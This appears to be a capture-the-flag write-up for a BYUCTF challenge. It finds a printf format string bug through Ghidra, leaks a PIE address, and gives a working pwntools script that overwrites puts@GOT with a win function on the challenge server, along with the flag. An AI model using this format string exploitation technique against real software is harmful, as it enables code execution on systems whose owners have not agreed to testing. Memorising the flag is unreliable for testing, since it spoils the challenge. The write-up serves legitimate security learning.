Overview

Description:

```
I think there was an intro 1 at some point, idk. Is it even an intro if it's
second?

Note: `byuctf{welcome_to_rev_fellas}` is a relic of the intro 1 challenge
and intro 2 is solvable by pwning the remote binary

`chals.cyberjousting.com:1367`
```

Use `file intro`

```
intro: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=5b83269ec80f891d20436f17c83579d7574f034d, for GNU/Linux 3.2.0,
not stripped
```

Use `checksec`:

```
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH
No RUNPATH   50 Symbols   No    0       2       intro
```

Offset of important functions:

- `main`: `0x5c9`
- `win`: `0x53c`
- `puts@GOT`: `0x3018`

Analyze and Solve

By using Ghidra:

```
while( true ) {
    if (4 < local_c) {
        return 0;
    }
```

```
    printf("Attempt %d: ",(ulong)(local_c + 1));
    __isoc23_scanf(&DAT_0010175f,local_78);
    strcpy(local_e8,local_78);
    iVar1 = flag_check(local_e8);
    if (iVar1 != 0) break;
    printf("Incorrect flag: ");
    printf(local_78);
    puts(". Try again.");
    local_c = local_c + 1;
}
printf("Correct! The flag is ");
printf(local_78);
putchar(10);
return 0;
```

$\Longrightarrow$ This have format string vunerability

With many test (brute by `for i in range 50`), I had 2 notable points:

When `input = AAAA%20$p`

```
Attempt 2: AAAA%20$p
Incorrect flag: AAAA0x2430322541414141. Try again.
```

When `input = %39$p`

```
Attempt 3: %39$p
Incorrect flag: 0x63d65fdd45c9. Try again.
```

$\Longrightarrow$ Offset of input on stack = 20
$\Longrightarrow$ Leak `PIE` from `%39$p` because PIE is enabled

Use Python:

```
from pwn import *

context.arch = 'amd64'

p = remote('chals.cyberjousting.com', 1367)

elf = ELF('./intro')

# Leak binary_base
p.recvuntil(b'Attempt 1: ')
```

```
p.sendline(b'%39$p')

# Split the address leaked
output = p.recvuntil(b'Attempt 2: ')
leak_str = output.split(b'Incorrect flag: ')[1].split(b'. Try again')
[0].strip()
leaked = int(leak_str, 16)
binary_base = leaked - elf.symbols['main']
win_addr = binary_base + elf.symbols['win']
puts_got = binary_base + elf.got['puts']

payload = fmtstr_payload(20, {puts_got: win_addr}, write_size='byte')

p.sendline(payload)

p.interactive()
```

Because of enabling PIE, this code cannot correct at first time, I need to spam `F5` (using VSCode) to run again until it correct (when it not have `Got EOF while reading in interactive`)

Flag: `byuctf{%p_yourself}`